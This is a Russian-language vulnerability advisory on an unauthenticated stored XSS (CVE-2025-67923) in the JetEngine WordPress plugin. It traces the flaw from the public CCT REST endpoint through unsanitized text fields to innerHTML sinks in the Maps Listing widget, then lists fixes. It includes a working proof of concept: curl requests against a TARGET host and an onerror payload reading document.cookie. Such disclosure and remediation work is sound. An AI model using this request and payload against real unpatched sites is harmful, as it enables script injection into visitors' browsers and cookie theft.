
JetEngine <= 3.7.7 — Неаутентифицированный сохранённый межсайтовый скриптинг (XSS) через CCT REST API
Дата: 11 марта 2026 г. Оценка CVSS: 7.1 (Высокая) Вектор CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L Затронутый плагин: JetEngine <= 3.7.7 Slug плагина: jet-engine Исправлено в: 3.7.8 CVE: CVE-2025-67923 CWE: CWE-79 Исследователь: Bonds (через Patchstack) Сообщено: 19 октября 2025 г. Раскрыто: январь 2026 г. Протестированная версия WordPress: последняя
CVE-2025-67923 — это неаутентифицированная хранимая межсайтовая скриптинг-уязвимость (XSS) в плагине JetEngine для WordPress, затрагивающая все версии вплоть до 3.7.7 включительно. Неаутентифицированный злоумышленник может записать произвольный HTML/JavaScript в текстовое поле Custom Content Type (CCT) через публичный REST API, после чего эти данные без санитизации попадают в DOM через JavaScript-приёмник innerHTML в виджете Maps Listing, когда жертва посещает любую страницу, содержащую этот виджет.
Атака не требует аутентификации и каких-либо привилегий. Требуется только, чтобы:
public.✅ УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА — нагрузка хранимого XSS записана и выполнена
Подтверждённое воздействие:
Уязвимость представляет собой комбинацию двух независимых слабостей:
Отсутствие санитизации ввода (хранение): Метод sanitize_field_value() обработчика элементов CCT не имеет пути санитизации для полей типа text. Ветка default: лишь преобразует временные метки — необработанный HTML проходит насквозь и сохраняется в базе данных.
DOM-приёмник XSS (рендеринг): Виджет Maps Listing считывает сохранённое значение поля через get_marker_label(), оборачивает его в htmlspecialchars(json_encode(...)) для HTML-атрибута data-markers, а JavaScript на фронтенде считывает атрибут через getAttribute() (который декодирует HTML-сущности), после чего вставляет markerData.label напрямую через innerHTML — выполняя любой встроенный HTML/JavaScript.
Публичный REST-контроллер CCT проверяет права через check_user_permissions():
// public-controller.php:370-376
public function check_user_permissions( $request, $context ) {
$content_type = $this->get_content_type_from_request( $request );
$cap = $content_type->get_arg( $context );
if ( ! $cap || 'public' === $cap ) {
return true; // No authentication required
} else {
return current_user_can( $cap );
}
}
public function create_item_permissions_check( $request ) {
return $this->check_user_permissions( $request, 'rest_put_access' );
}
Когда CCT настроен с rest_put_access = 'public' (поддерживаемая и документированная конфигурация для публичных форм), конечная точка полностью неаутентифицирована. Любой HTTP-клиент может отправить POST-запрос на /wp-json/jet-cct/{slug}.
REST-обработчик вызывает $handler->update_item($params), который в итоге доходит до sanitize_field_value():
// item-handler.php:489-562
public function sanitize_field_value( $value, $field ) {
$type = isset( $field['type'] ) ? $field['type'] : false;
switch ( $type ) {
case 'repeater': // sanitizes sub-fields
// ...
case 'checkbox': // handles boolean arrays
case 'checkbox-raw':
// ...
case 'media':
case 'gallery': // sanitizes media JSON
// ...
case 'wysiwyg':
$value = jet_engine_sanitize_wysiwyg( $value ); // sanitized
break;
default:
// TEXT TYPE FALLS HERE — only timestamp conversion, NO HTML sanitization
$value = $this->factory->maybe_to_timestamp( $value, $field );
}
return $value;
}
Поле типа text попадает в ветку default:. maybe_to_timestamp() возвращает значение без изменений для строк, не являющихся датами. XSS-нагрузка `` сохраняется дословно.
При рендеринге виджета Maps Listing get_marker_label() считывает поле:
// render.php:479-535
public function get_marker_label( $post = null, $settings = array() ) {
// ...
switch ( $label_type ) {
case 'meta_field':
$field = $settings['marker_label_field'];
if ( $field ) {
$result = jet_engine()->listings->data->get_meta( $field, $post );
// No esc_html() here — raw value returned
}
break;
}
return $result; // Returns ""
}
Возвращаемое значение помещается в массив данных маркера:
// render.php:231-237
$result[] = array(
'id' => $post_id,
'latLang' => $latlang,
'label' => $this->get_marker_label( $post, $settings ), // raw XSS payload
// ...
);
Массив маркеров кодируется для HTML-атрибута:
// render.php:247
return htmlspecialchars( json_encode( $result ) );
json_encode сериализует `` в строку "". Затем htmlspecialchars HTML-кодирует весь JSON, в результате чего получается:
[{...,"label":"<img src=x onerror=alert(1)>",...}]
Это записывается в HTML-атрибут data-markers. Кодирование защищает только границу атрибута. Когда JavaScript считывает атрибут, браузер декодирует HTML-сущности, восстанавливая исходные символы:
// Browser automatically decodes entities when reading via dataset / getAttribute
const markers = JSON.parse(el.dataset.markers);
// markers[0].label === ''
В frontend-maps.js необработанная строка подписи вставляется непосредственно в строку HTML-содержимого:
// frontend-maps.js:112
pinData.content = general.marker.html.replace( '_marker_label_', markerData.label );
// pinData.content = '<div class="jet-map-marker-wrap">
//
// </div>'
Затем эта строка содержимого устанавливается как innerHTML элемента маркера:
// mapbox-maps.js:175
el.innerHTML = data.content; // XSS FIRES
// leaflet-maps.js:34
contentHtml.innerHTML = content; // XSS FIRES
Каждый посетитель, загружающий страницу с виджетом Maps Listing, запускает полезную нагрузку.
maps-listings и custom-content-types.locations (slug: locations) со следующими параметрами:
rest_put_enabled = truerest_put_access = 'public'text с именем labelmarker_type = 'text'marker_label_type = 'meta_field'marker_label_field = 'label'curl -s -X POST 'http://TARGET/wp-json/jet-cct/locations' \
-H 'Content-Type: application/json' \
-d '{
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}'
Ответ:
{"success": true, "item_id": 1}
curl -s 'http://TARGET/wp-json/jet-cct/locations'
Ответ:
[{
"_ID": "1",
"name": "Test Location",
"label": "",
"lat": "51.5074",
"lng": "-0.1278"
}]
Тег `` сохраняется дословно — санитизация не выполнялась.
Любой посетитель — аутентифицированный или нет — загружающий страницу с виджетом Maps Listing, выполнит полезную нагрузку. Отрисованный HTML-атрибут содержит:
<div class="jet-map-box"
data-markers="[{..."label":"<img src=x onerror=alert(document.cookie)>"...}]"
data-general="...">
</div>
JavaScript считывает data-markers, декодирует HTML-сущности, выполняет JSON-парсинг и вставляет результат в DOM:
// markerData.label = ''
el.innerHTML = '<div class="jet-map-marker-wrap">' + markerData.label + '</div>';
// ↑ onerror fires → alert(document.cookie)
Attacker WordPress REST API Victim Browser
| | |
|-- POST /wp-json/jet-cct/ ---> | |
| {"label":" |
| | el.innerHTML = label
| | onerror=alert() FIRES
text освобождены от санитизацииsanitize_field_value() явно обрабатывает тип wysiwyg с помощью санитизации на основе wp_kses, но помещает все остальные строковые типы в ветку default:, которая не выполняет HTML-экранирования. Предположение о том, что поля text являются обычным текстом, нарушается, когда эти значения впоследствии рендерятся как HTML через путь innerHTML виджета Maps.
htmlspecialcharshtmlspecialchars(json_encode($result)) применяется для защиты границы HTML-атрибута. Это корректно и необходимо, но недостаточно для предотвращения XSS, когда значение впоследствии считывается через JavaScript и вставляется в DOM через innerHTML. Такое кодирование обратимо браузером. Правильное исправление — применить esc_html() (или htmlspecialchars) к значению label до JSON-кодирования, чтобы нагрузка сохранялась в JSON как текст с HTML-сущностями. Когда JavaScript вставляет её через innerHTML, браузер отображает <img> как текст, а не как HTML-тег.
В качестве альтернативы можно заменить innerHTML на textContent в JavaScript-коде для поля подписи.
Путь записи через REST API (update_item) не рассматривает все сохраняемые значения как потенциальные HTML-приёмники. Политика санитизации определяется только по типу поля, при этом поля text молча исключаются, несмотря на их рендеринг как HTML на фронтенде через виджет Maps.
| Дата | Событие |
|---|---|
| 19 октября 2025 г. | Уязвимость сообщена исследователем «Bonds» через Patchstack |
| январь 2026 г. | Публичное раскрытие |
| январь 2026 г. | Выпущена версия JetEngine 3.7.8 с исправлением |
| 11 марта 2026 г. | Независимо воспроизведена с полным PoC |
| Файл | Проблема |
|---|
includes/modules/custom-content-types/inc/rest-api/public-controller.php:424 | create_item_permissions_check возвращает true, когда rest_put_access = 'public' — аутентификация не требуется |
includes/modules/custom-content-types/inc/item-handler.php:489 | ветка default: в sanitize_field_value() — отсутствие HTML-санитизации для полей типа text |
includes/modules/maps-listings/inc/render.php:233 | get_marker_label() возвращает необработанное значение мета-поля без esc_html() |
includes/modules/maps-listings/inc/render.php:247 | htmlspecialchars(json_encode($result)) — защищает только границу атрибута, но не инъекцию через innerHTML |
includes/modules/maps-listings/assets/js/frontend-maps.js:112 | pinData.content = general.marker.html.replace('_marker_label_', markerData.label) — необработанная подпись вставляется в HTML-строку |
includes/modules/maps-listings/assets/js/public/mapbox-maps.js:175 | el.innerHTML = data.content — приёмник выполнения XSS |
includes/modules/maps-listings/assets/js/public/leaflet-maps.js:34 | contentHtml.innerHTML = content — приёмник выполнения XSS |
| Исправление | Файл | Описание |
|---|
| Санитизация текстовых полей при сохранении | item-handler.php:sanitize_field_value() | Добавить $value = wp_kses($value, []) или sanitize_text_field($value) в ветку default: |
| Экранирование подписи при рендеринге | render.php:get_marker_label() | Применить esc_html($result) перед возвратом значения подписи |
Использовать textContent вместо innerHTML для подписей | frontend-maps.js, mapbox-maps.js, leaflet-maps.js | Заменить el.innerHTML = data.content на безопасное построение DOM, когда содержимое — это только текст подписи |
| Ограничить доступ на запись REST по умолчанию | Настройки плагина | Изменить значение по умолчанию для rest_put_access на manage_options вместо public; требовать явного согласия (opt-in) |